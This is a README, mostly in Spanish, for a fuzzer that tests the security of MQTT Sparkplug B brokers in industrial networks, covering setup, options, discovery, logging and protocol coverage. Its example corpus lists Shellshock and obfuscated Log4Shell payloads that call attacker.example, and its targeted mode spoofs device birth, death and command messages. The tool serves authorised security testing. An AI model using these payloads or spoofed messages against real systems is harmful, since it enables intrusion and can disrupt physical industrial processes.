
Fuzzer para el protocolo IIoT Sparkplug B
Una herramienta integral de evaluación de seguridad para probar implementaciones del protocolo MQTT Sparkplug B. El fuzzer prueba sistemáticamente todos los campos del protocolo en los 9 tipos de mensaje, descubre dispositivos activos en la red y genera registros detallados para su análisis.
Esta herramienta envía mensajes MQTT malformados, de inyección y que violan el protocolo a un broker objetivo. Ejecútela únicamente contra sistemas que posea o para los que tenga autorización escrita explícita para realizar pruebas. Los brokers Sparkplug B suelen ubicarse en entornos OT/ICS donde los payloads inesperados pueden interrumpir procesos físicos: asuma que todo objetivo está cerca de producción salvo que se demuestre lo contrario.
Si descubre una vulnerabilidad en una implementación de Sparkplug B usando esta herramienta, siga una divulgación coordinada con el proveedor afectado. Para informar un problema de seguridad en la propia herramienta, consulte SECURITY.md.
La especificación Sparkplug B define un espacio de nombres de temas y un formato de payload construido sobre MQTT y Google Protocol Buffers para entornos de IIoT (Internet Industrial de las Cosas). Este fuzzer evalúa la seguridad y robustez de las implementaciones de Sparkplug B mediante:
En sistemas Debian/Ubuntu/Kali modernos (sistemas PEP-668), --setup no puede ejecutar pip install en el Python del sistema; use un entorno virtual o pipx primero. La ruta recomendada:```bash
python3 -m venv .venv
source .venv/bin/activate
python3 sparkplug-fuzzer.py --setup
O ejecútalo mediante `pipx run` si prefieres no gestionar el venv tú mismo. En sistemas antiguos sin la política PEP-668, `python3 sparkplug-fuzzer.py --setup` funciona directamente.
`--setup` hará lo siguiente:
1. Instalar las dependencias pip (`paho-mqtt`, `protobuf`)
2. Clonar una versión fija (tag) del repositorio [Eclipse Tahu](https://github.com/eclipse/tahu) (consulta `TAHU_REF` en el script)
3. Copiar los módulos auxiliares `sparkplug_b.py` y `array_packer.py`
4. Compilar `sparkplug_b.proto` en bindings de Python (usa `protoc` si está disponible; si no, recurre a `grpcio-tools`)
5. Limpiar el clon de Tahu
Después de la configuración, tu directorio debería contener:```
sparkplug-fuzzer.py # The fuzzer
sparkplug_b.py # Sparkplug B helper module (from Tahu)
array_packer.py # Array packing helper (from Tahu)
sparkplug_b_pb2.py # Generated protobuf bindings
requirements.txt # Python dependencies
python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer
Esto:
1. Se conectará al broker en `localhost:1883`
2. Escuchará durante 10 segundos para descubrir dispositivos Sparkplug existentes
3. Establecerá el fuzzer como un nodo/dispositivo Sparkplug
4. Ejecutará las 12 categorías de fuzzing (~635+ casos de prueba)
5. Apuntará a cualquier dispositivo descubierto con mensajes falsificados
6. Escribirá los resultados en `sparkplug_fuzz.jsonl`
## Uso
### Opciones de línea de comandos```
python3 sparkplug-fuzzer.py [OPTIONS]
Ejecutar todas las categorías con autenticación:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v
**Pasa las credenciales sin exponerlas en `ps`:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local
# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -
Conectar mediante TLS:```bash
python3 sparkplug-fuzzer.py -H broker.example.com --tls -v
python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v
**Evaluación pasiva de autenticación + sonda activa de escritura:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v
Ejecutar solo categorías relacionadas con inyección:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed
**Descubrimiento extendido con ritmo lento (minimizar la carga del broker):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5
Identidad personalizada de grupo/nodo y archivo de registro:```bash
python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv
**Monitoriza el tráfico del broker en una terminal separada:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'
Configuración sin conexión con un repositorio de Tahu previamente clonado:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box
python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu
**Diseño de salida por ejecución:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl
# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2
El STRING_FUZZ_VALUES incorporado cubre las categorías clásicas de inyección (cadenas vacías / enormes, bytes nulos, cadenas de formato, XSS, SQLi, path traversal, prototype pollution). Los compromisos reales a menudo necesitan payloads de segundo orden dirigidos a lo que sea que consuma los datos del broker downstream — historiadores que canalizan nombres de métricas a través de shell, hosts SCADA basados en Java que alimentan valores en log4j, paneles que renderizan nombres de etiquetas en HTML, etc.
La opción --extra-string-payloads <FILE> añade un corpus adicional a los incorporados. El formato es un payload por línea, UTF-8. Las líneas con solo espacios en blanco se conservan (a menudo intencional en fuzzing); las líneas completamente vacías se descartan. La opción añade a la lista incorporada en lugar de reemplazarla, por lo que la cobertura existente se preserva.```bash
cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF
python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v
El fuzzer imprime `[+] Extra string payloads: loaded N from <path>` al inicio, y cada payload se emite a través de todos los lugares que iteran `STRING_FUZZ_VALUES` — principalmente la categoría `string`, pero también los casos de tipo cadena del generador de desajuste de tipos.
Límites estrictos: 10 MB de tamaño de archivo, 10,000 payloads. Ajusta `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` en la parte superior del script si necesitas más (y dispones del presupuesto de tiempo de ejecución necesario).
## Notas de la versión v0.2
- La opción `--output-dir` y el valor predeterminado `./sparkplug-runs/<UTC-ts>_<host>/` que se crea automáticamente — cada ejecución se ubica en su propio directorio para que los artefactos no colisionen entre ejecuciones.
- La opción `--tahu-path` para `--setup` — apunta a un clon local de `eclipse/tahu` para entornos de prueba aislados de la red donde el `git clone` saliente está bloqueado. El código fuente local nunca se elimina en la limpieza.
- Marcas de tiempo de consola y JSONL forzadas a UTC con sufijo `Z` explícito, de modo que la correlación cruzada con los registros del broker no requiere aritmética de zonas horarias.
- El logger de `paho.mqtt` se limita a WARNING de forma predeterminada; visible en INFO con `-v`, DEBUG con `-vv`. La telemetría del cliente por paquete ya no ahoga la señal de fuzz.
- Banco de pruebas pytest en `tests/` — 23 pruebas que cubren FuzzLogger, el helper de topics, la resolución de rutas de salida y la validación de `--tahu-path`. Consulta [Ejecución de las pruebas](#running-the-tests).
## Ejecución de las pruebas
El banco de pruebas cubre la superficie independiente de la red (corrección del logger, constructor de topics, resolución de la ruta de salida, parseo de `--tahu-path`) y se ejecuta sin tener instalados un broker, paho-mqtt o protobuf.```bash
pip install -r requirements-dev.txt
pytest tests/
Expected: 23 passed. Las rutas dependientes de la red (PayloadBuilder protobuf, fuzz publishers, MQTT lifecycle) se difieren deliberadamente a una futura capa de pruebas de integración con un broker contenedorizado.
### Descubrimiento de red
Durante la fase de descubrimiento, el fuzzer se suscribe a `spBv1.0/#` y escucha todo el tráfico Sparkplug. El componente `DeviceTracker` analiza los mensajes observados para construir un mapa de red en vivo:
- **NBIRTH** revela nodos de borde y sus definiciones de métricas (nombre, alias, tipo de dato)
- **DBIRTH** revela dispositivos y sus esquemas de métricas
- **NDEATH/DDEATH** rastrea el estado del ciclo de vida de nodos/dispositivos
- **STATE** revela aplicaciones host y su estado en línea/fuera de línea
Este mapa se utiliza en la fase de fuzzing dirigido para enviar ataques contextualmente relevantes contra dispositivos reales con sus esquemas de métricas reales.
### Evaluación de autenticación
Cuando el fuzzer se conecta sin `-u/-P` (y `MQTT_USERNAME`/`MQTT_PASSWORD` no están configurados), deduce la postura de autenticación del broker únicamente a partir del descubrimiento pasivo. Esto produce un único evento `AUTH_ASSESSMENT` en el registro y un resumen impreso:
| Señal | Qué significa | Cómo se deduce |
|---|---|---|
| `anon_connect_accepted` | El broker aceptó CONNECT sin credenciales | El propio CONNECT del fuzzer tuvo éxito |
| `anon_subscribe_accepted` | El broker reenvía `spBv1.0/#` / `STATE/#` a clientes anónimos | Al menos un mensaje RX llegó durante la ventana de escucha |
| `anon_publish_accepted` | El broker acepta PUBLISH de clientes anónimos | Solo se establece si se pasa `--probe-anon-write`; sonda QoS=1 + espera de PUBACK |
| `unauth_endpoints` | Nodos / dispositivos / aplicaciones host observables sin autenticación | Cada entidad en el mapa de red descubierto (la autenticación nunca se produjo) |
La sonda QoS=1 es opcional porque cruza de pasiva a activa. Con QoS=0 el broker descarta silenciosamente los mensajes que denegaría, por lo que confirmar la aceptación de escritura requiere leer un PUBACK.
MQTT/Sparkplug no tienen autenticación por endpoint: la autenticación es una preocupación a nivel de broker. Por lo tanto, "endpoints observables sin autenticación" se informa como una lista de *objetivos alcanzables a coste cero* en lugar de una propiedad de los propios endpoints.
### Fuzzing dirigido
Después del fuzzing sistemático, la herramienta apunta a cada dispositivo descubierto con:
1. **Avisos de muerte falsificados** — publica NDEATH/DDEATH para engañar a los suscriptores haciéndoles creer que los dispositivos se desconectaron
2. **Certificados de nacimiento falsificados** — publica NBIRTH/DBIRTH para suplantar nodos/dispositivos descubiertos
3. **Inyección de comandos** — envía mensajes NCMD/DCMD con valores límite para cada métrica conocida, probando si el objetivo valida los comandos entrantes
4. **Comandos de renacimiento** — envía NCMD `Node Control/Rebirth` para provocar que los dispositivos vuelvan a publicar sus nacimientos
## Análisis de salida y registros
### Formato de registro
El archivo de registro utiliza formato JSON-lines (`.jsonl`): un objeto JSON por línea, adecuado para el análisis con `jq`, Python o cualquier herramienta compatible con JSON.
Los payloads de más de 64 KiB no se incluyen como hex; en su lugar, `payload_hex` lleva `sha256:<digest>+len=<n>` para que el registro se mantenga acotado en casos de fuzzing muy grandes. `payload_len` siempre está presente.
**TX record** (mensaje de fuzzing saliente):```json
{
"ts": "2026-04-10T15:30:00.123456Z",
"dir": "TX",
"case_id": "BOUNDARY-0042",
"category": "boundary",
"topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
"payload_hex": "0800120a0a06...",
"payload_len": 28,
"payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
"description": "Boundary Int32 = 2147483647 (int_value)"
}
Registro RX (mensaje entrante de la red):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }
**Registro de eventos** (evento del sistema):```json
{
"ts": "2026-04-10T15:29:50.000000Z",
"dir": "EVENT",
"event": "DISCOVERY_COMPLETE",
"details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}
Contar casos por categoría:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn
**Extrae todos los casos de inyección de cadenas:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl
Lista todos los dispositivos descubiertos:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl
**Encontrar casos que provocaron desconexiones del broker:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl
Extraer la evaluación de autenticación:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl
**Lista los endpoints accesibles sin autenticación:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl
Obtén el recuento de TX a lo largo del tiempo (para análisis de tasa):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c
**Exportar todos los temas publicados en:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u
Analizar con Python:```python import json
with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]
tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]
print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")
errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")
## Protocol Coverage
### Message Types
All 9 Sparkplug B message types are tested:
| Message Type | Topic Pattern | Description | Fuzzer Usage |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | Node birth certificate | Establishes fuzzer presence; spoofed for discovered nodes; ordering tests |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | Node death notification | MQTT last-will; spoofed for discovered nodes; ordering tests |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | Device birth certificate | Establishes fuzzer device; spoofed for discovered devices; ordering tests |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | Device death notification | Spoofed for discovered devices; ordering tests; orphan tests |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | Node data update | Boundary values; sequence numbers; ordering tests |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | Device data update | Primary vehicle for most fuzz categories |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | Node command | Targeted fuzzing (rebirth commands); orphan tests |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | Device command | Targeted fuzzing against discovered device metrics; orphan tests |
| STATE | `STATE/{host_id}` | Host application state (JSON) | Malformed JSON injection |
### Data Types
All 19 Sparkplug B metric data types are tested with type-specific boundary values:
| Code | Type | Protobuf Field | Boundary Values Tested |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128 (overflow), -129 (underflow) |
| 2 | Int16 | int_value | 0, -32768, 32767, overflow/underflow |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, overflow/underflow |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, overflow |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 11 | Boolean | boolean_value | True, False; also tested with raw int values (0, 1, 2, 255) |
| 12 | String | string_value | Empty, long (up to 64KB), injection payloads |
| 13 | DateTime | long_value | Epoch, max, far future/past |
| 14 | Text | string_value | Same injection payloads as String |
| 15 | UUID | string_value | Empty, valid, invalid format, injections |
| 16 | DataSet | dataset_value | Structural violations via dataset category |
| 17 | Bytes | bytes_value | Empty, null bytes, random, large |
| 18 | File | bytes_value | Empty, magic bytes, large |
| 19 | Template | template_value | Undefined references, orphan templates |
### Field Coverage
The fuzzer covers 87+ unique protobuf field paths including:
- **Payload root fields**: timestamp, seq, uuid, body, metrics
- **Metric fields**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties, and all value oneof variants
- **MetaData fields**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: keys, values, type, is_null, recursive propertyset_value, propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements, all DataSetValue variants
- **Template**: version, template_ref, is_definition, nested metrics, parameters
## Architecture
The fuzzer is a single Python file organized into these components:```
sparkplug-fuzzer.py
|
+-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
| Type definitions and fuzz value tables
|
+-- FuzzLogger
| JSON-lines file logging + console output
| Protobuf payload decoding
|
+-- DeviceTracker
| Passive network discovery
| Tracks groups, nodes, devices, metrics
|
+-- PayloadBuilder
| Valid payload construction (sparkplug_b helpers)
| Raw payload construction (sparkplug_b_pb2 direct)
| Binary corruption (truncate, flip, append)
|
+-- 12 Fuzz Generators
| Each is a Python generator yielding (topic, bytes, desc)
| Covers boundary, string, type, seq, timestamp, alias,
| orphan, ordering, recursive, dataset, malformed, topic
|
+-- SparkplugFuzzer
| Orchestration: connect, discover, fuzz, target, report
| Centralized publish with logging
| Auto-reconnect on disconnect
|
+-- CLI (argparse) + main()
Argument parsing and entry point
The two-level payload construction is a key design decision:
PayloadBuilder.node_birth(), etc.) utiliza las funciones auxiliares de sparkplug_b para construir payloads válidos y bien formados. Se usa para establecer presencia y suplantación dirigida.PayloadBuilder.raw_payload(), corrupt_bytes()) manipula directamente los objetos protobuf sparkplug_b_pb2 o los bytes sin procesar, omitiendo la validación. Se usa para payloads malformados intencionalmente que prueban el manejo de errores y los casos límite del analizador.Este proyecto está licenciado bajo la Licencia MIT — consulta LICENSE para el texto completo.
sparkplug-fuzzer.py --setup descarga los siguientes componentes de Eclipse Tahu en el momento de la instalación y los copia en el directorio de trabajo:
sparkplug_b.py — módulo auxiliar de Sparkplug Barray_packer.py — auxiliar de empaquetado de arrayssparkplug_b.proto — definición de Protocol Buffer (se usa para generar sparkplug_b_pb2.py)Eclipse Tahu se distribuye bajo la Apache License, Version 2.0. Ninguno de los archivos fuente de Tahu se redistribuye en este repositorio. Consulta NOTICE para la atribución completa.
| Opción | Por defecto | Descripción |
|---|
-H, --host | localhost | Nombre de host o IP del broker MQTT |
-p, --port | 1883 (o 8883 con --tls) | Puerto del broker MQTT |
-u, --username | None | Nombre de usuario MQTT (también lee la variable de entorno MQTT_USERNAME) |
-P, --password | None | Contraseña MQTT (también lee MQTT_PASSWORD; pasa - para leer desde stdin sin eco) |
--tls | off | Conectar mediante TLS; el puerto por defecto pasa a ser 8883 si -p no se establece |
--cafile | None | Conjunto de CA para la verificación del certificado del servidor TLS |
--insecure | off | Omite la verificación del nombre de host/certificado TLS (solo para pruebas) |
-g, --group | Sparkplug B Devices | ID del grupo Sparkplug bajo el que se registra el fuzzer |
-n, --node | FuzzNode | ID del nodo edge Sparkplug para el fuzzer |
-d, --device | FuzzDevice | ID del dispositivo Sparkplug para el fuzzer |
-c, --categories | all | Lista separada por espacios de categorías de fuzzing a ejecutar |
--discovery-time | 10 | Segundos para escuchar pasivamente el descubrimiento de red |
--delay | 0.1 | Retardo en segundos entre mensajes de fuzzing |
--probe-anon-write | off | Durante el descubrimiento, envía un publish QoS=1 para confirmar si el broker acepta PUBLISH no autenticado |
-l, --log | sparkplug_fuzz.jsonl | Nombre del archivo de registro de salida (las rutas relativas se colocan dentro de --output-dir; las rutas absolutas se respetan tal cual) |
--output-dir | ./sparkplug-runs/<UTC-ts>_<host>/ | Directorio de salida por ejecución. Se crea si no existe. |
-v, --verbose | 0 | Aumenta la verbosidad de la consola (-v = info, -vv = debug). -vv también muestra las omisiones del generador de fuzzing, y el registrador limitado paho.mqtt pasa a INFO/DEBUG según la verbosidad. |
--setup | — | Instala todas las dependencias y sale |
--tahu-path | — | Ruta a un clon local de eclipse/tahu (o su directorio python/core). Lo usa --setup en entornos aislados en lugar de git clone. |
--extra-string-payloads | — | Ruta a un archivo de payloads adicionales de inyección de cadenas (uno por línea, UTF-8). Se añaden a los STRING_FUZZ_VALUES integrados; no los reemplaza. Máximo 10 MB / 10 000 payloads. Consulta Corpus de cadenas personalizados. |
| Categoría | Descripción | Casos aprox. |
|---|
boundary | Mín/máx/desbordamiento para los 19 tipos de datos numéricos, is_null con valores, combinaciones de flags | ~200 |
string | Payloads de inyección (XSS, SQLi, cadenas de formato, path traversal, inyección de comandos, bytes nulos) en campos String, Text, UUID, MetaData y mensajes STATE | ~100 |
type_mismatch | Tipo de dato declarado frente a un campo de valor protobuf incorrecto, códigos de tipo de dato no válidos, múltiples campos oneof | ~150 |
sequence | Huecos de secuencia, duplicados, retrocesos, reinicio, discrepancia de bdSeq entre NBIRTH/NDEATH | ~20 |
timestamp | Cero, uint64 máximo, futuro/pasado lejano, inconsistencia de timestamp entre métrica y payload, extremos de DateTime | ~15 |
alias | Alias duplicados para diferentes métricas, valores de alias extremos, alias no definidos en mensajes de datos | ~15 |
orphan | Datos/comandos dirigidos a dispositivos, nodos o grupos inexistentes; referencias a plantillas no definidas | ~20 |
ordering | Violaciones del estado del protocolo: datos antes del nacimiento, nacimientos dobles, datos después de la muerte, orden de nacimiento incorrecto | ~15 |
recursive | Cadenas PropertySet anidadas (profundidad 1-100), discrepancias de longitud clave/valor, variaciones de PropertySetList | ~15 |
dataset | Discrepancias en el número de columnas, discrepancias en los elementos de fila, violaciones de tipo, datasets vacíos/enormes, caracteres especiales en nombres de columna | ~25 |
malformed | Corrupción de protobuf binario: truncamiento, inversión de bits, bytes aleatorios, varints demasiado largos, clases de mensaje incorrectas | ~30 |
topic | Variaciones de mayúsculas/minúsculas, versiones incorrectas, barras sobrantes/faltantes, caracteres especiales, comodines en cadenas de temas | ~30 |